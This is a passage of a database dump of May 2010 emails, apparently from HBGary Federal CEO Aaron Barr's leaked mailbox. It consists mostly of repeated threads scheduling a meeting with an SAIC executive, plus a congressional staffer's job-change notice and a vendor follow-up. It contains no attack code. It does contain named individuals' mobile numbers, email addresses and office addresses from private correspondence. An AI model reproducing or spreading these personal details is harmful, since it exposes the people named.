to Virginia otherwise I&#39;ll stay up here.\r\nThanksAaronSent from my iPadOn May 10, 2010, at 11:06 AM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I’m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n \r\n\r\nI’ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n \r\n\r\nScott,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river.  It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI&#39;ve\r\nbeen sick all week and won&#39;t make it in to work today either. \r\n\r\nLet&#39;s\r\nreschedule this once I&#39;m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1544,'aaron_hbgary_com/1544.html'),(6154,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004425.M814296P14101Q1009.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Moving on','Sent from my iPadBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: May 10, 2010 10:51:02 AM EDTTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Subject: Moving on\r\n\r\n\r\n\r\n\r\nAfter 4.5 years, today is my last day with the House Homeland\r\nSecurity Committee.  I recently accepted a position as counsel with the\r\nSenate Commerce Committee.  I will be handling technology, Internet, cybersecurity,\r\nscience, and space issues for Sen. Rockefeller.\r\n\r\n \r\n\r\nEffective next week (Monday May 17), my new contact\r\ninformation will be:  \r\n\r\nJacob_Olcott@senate.commerce.gov\r\n\r\n(202) 224-0411\r\n\r\n \r\n\r\nI look forward to continuing our work together.\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4561,'aaron_hbgary_com/4561.html'),(6155,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004426.M126007P14101Q1010.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W 	Sheldon)','Sure sounds good.ThanksAaronSent from my iPadOn May 10, 2010, at 12:49 PM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\nAaron,Someone else got that time. I&#39;ll send some other openings later. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Sheldon, Scott W.\r\nSent: Mon May 10 11:29:26 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\nSounds good.  I am up near bwi.Sent from my iPadOn May 10, 2010, at 11:06 AM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I’m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n \r\n\r\nI’ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n \r\n\r\nScott,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river.  It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI&#39;ve\r\nbeen sick all week and won&#39;t make it in to work today either. \r\n\r\nLet&#39;s\r\nreschedule this once I&#39;m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4597,'aaron_hbgary_com/4597.html'),(6156,'2010-05-10','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004426.M384073P14101Q1011.eml','aaron@hbgary.com','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)','\r\nCall me. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Sheldon, Scott W.Sent: Mon May 10 12:52:19 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\nHow does it look for this afternoon?  If a no go I am going to head back down to Virginia otherwise I&#39;ll stay up here.\r\nThanksAaronSent from my iPadOn May 10, 2010, at 11:06 AM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I’m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n \r\n\r\nI’ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n \r\n\r\nScott,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river.  It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI&#39;ve\r\nbeen sick all week and won&#39;t make it in to work today either. \r\n\r\nLet&#39;s\r\nreschedule this once I&#39;m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3546,'aaron_hbgary_com/3546.html'),(6157,'2010-05-10','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004426.M718027P14101Q1012.eml','aaron@hbgary.com','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)','\r\nAaron,I can probably meet at 1330 today. I\'m heading into a SCIF for a few minutes. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Sheldon, Scott W.Sent: Mon May 10 12:53:06 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\nSure sounds good.ThanksAaronSent from my iPadOn May 10, 2010, at 12:49 PM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\nAaron,Someone else got that time. I&#39;ll send some other openings later. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Sheldon, Scott W.\r\nSent: Mon May 10 11:29:26 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\nSounds good.  I am up near bwi.Sent from my iPadOn May 10, 2010, at 11:06 AM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I’m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n \r\n\r\nI’ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n \r\n\r\nScott,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river.  It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI&#39;ve\r\nbeen sick all week and won&#39;t make it in to work today either. \r\n\r\nLet&#39;s\r\nreschedule this once I&#39;m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16354,'aaron_hbgary_com/16354.html'),(6158,'2010-05-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004426.M958153P14101Q1013.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Hi Ted','Did u know about this?Begin forwarded message:From: Chris Collins &lt;chris@tipodean.com&gt;\r\nDate: May 10, 2010 10:41:12 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Hi Ted\r\nHi Ted,Just wanting to followup with you on the RFI you sent over. It would b great to have a chat about it. Are you going to the Federal Consortium of Virtual Worlds Conference this week in DC?Chris\r\n\r\n\r\n-- -- Chris CollinsCEOTipodean Technologies+1 415-515-6928 | chris@tipodean.comSkype: cozza13 | SL: Chris Collins\r\nWebsite: www.tipodean.com\r\n\r\nTwitter: http://www.twitter.com/tipodeanhttp://www.linkedin.com/in/collinschris\r\nTools for your distributed workforce\r\n\r\n\r\n\r\n',12271,'aaron_hbgary_com/12271.html'),(6159,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004427.M203485P14101Q1014.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Hi Ted','NopeSent from my iPadOn May 10, 2010, at 1:12 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nDid u know about this?Begin forwarded message:From: Chris Collins &lt;chris@tipodean.com&gt;\r\n\r\nDate: May 10, 2010 10:41:12 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Hi Ted\r\n\r\nHi Ted,Just wanting to followup with you on the RFI you sent over. It would b great to have a chat about it. Are you going to the Federal Consortium of Virtual Worlds Conference this week in DC?Chris\r\n\r\n\r\n\r\n-- -- Chris CollinsCEOTipodean Technologies+1 415-515-6928 | chris@tipodean.com\r\nSkype: cozza13 | SL: Chris Collins\r\nWebsite: www.tipodean.com\r\n\r\nTwitter: http://www.twitter.com/tipodeanhttp://www.linkedin.com/in/collinschris\r\n\r\nTools for your distributed workforce\r\n\r\n\r\n\r\n\r\n',2228,'aaron_hbgary_com/2228.html'),(6160,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004427.M469924P14101Q1015.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W 	Sheldon)','Ok let me know when available, I am on the parking lot.AaronFrom my iPhoneOn May 10, 2010, at 12:59 PM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\nAaron,I can probably meet at 1330 today. I&#39;m heading into a SCIF for a few minutes. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Sheldon, Scott W.\r\nSent: Mon May 10 12:53:06 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\nSure sounds good.ThanksAaronSent from my iPadOn May 10, 2010, at 12:49 PM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\nAaron,Someone else got that time. I&#39;ll send some other openings later. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Sheldon, Scott W.\r\nSent: Mon May 10 11:29:26 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\nSounds good.  I am up near bwi.Sent from my iPadOn May 10, 2010, at 11:06 AM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I’m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n \r\n\r\nI’ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n \r\n\r\nScott,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river.  It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI&#39;ve\r\nbeen sick all week and won&#39;t make it in to work today either. \r\n\r\nLet&#39;s\r\nreschedule this once I&#39;m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2935,'aaron_hbgary_com/2935.html'),(6161,'2010-05-10','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004427.M689250P14101Q1016.eml','aaron@hbgary.com','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)','\r\n3 minutes. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Sheldon, Scott W.Sent: Mon May 10 13:29:51 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\nOk let me know when available, I am on the parking lot.AaronFrom my iPhoneOn May 10, 2010, at 12:59 PM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\nAaron,I can probably meet at 1330 today. I&#39;m heading into a SCIF for a few minutes. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Sheldon, Scott W.\r\nSent: Mon May 10 12:53:06 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\nSure sounds good.ThanksAaronSent from my iPadOn May 10, 2010, at 12:49 PM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\nAaron,Someone else got that time. I&#39;ll send some other openings later. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Sheldon, Scott W.\r\nSent: Mon May 10 11:29:26 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\nSounds good.  I am up near bwi.Sent from my iPadOn May 10, 2010, at 11:06 AM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I’m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n \r\n\r\nI’ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n \r\n\r\nScott,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river.  It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott 